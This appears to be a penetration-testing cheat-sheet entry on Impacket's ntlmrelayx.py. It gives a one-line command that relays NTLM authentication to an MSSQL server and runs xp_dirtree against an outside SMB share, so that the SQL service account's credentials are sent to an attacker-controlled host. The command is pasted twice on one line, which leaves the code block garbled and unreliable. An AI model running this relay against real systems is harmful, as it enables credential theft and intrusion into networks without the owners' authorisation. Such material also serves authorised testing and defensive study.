# Impacket

## ntlmrelayx.py

Leveraging ntlmrelayx to relay credential to MSSQL Server and attempt to elicit the credential of the underlying service account through abusing xp\_dirtree.

```
ntlmrelayx.py -t mssql://mssql.example.com -c 'EXEC xp_dirtree "\\192.168.1.100\credentials"'ntlmrelayx.py -t mssql://mssql.example.com -c 'EXEC xp_dirtree "\\192.168.1.100\credentials"'
```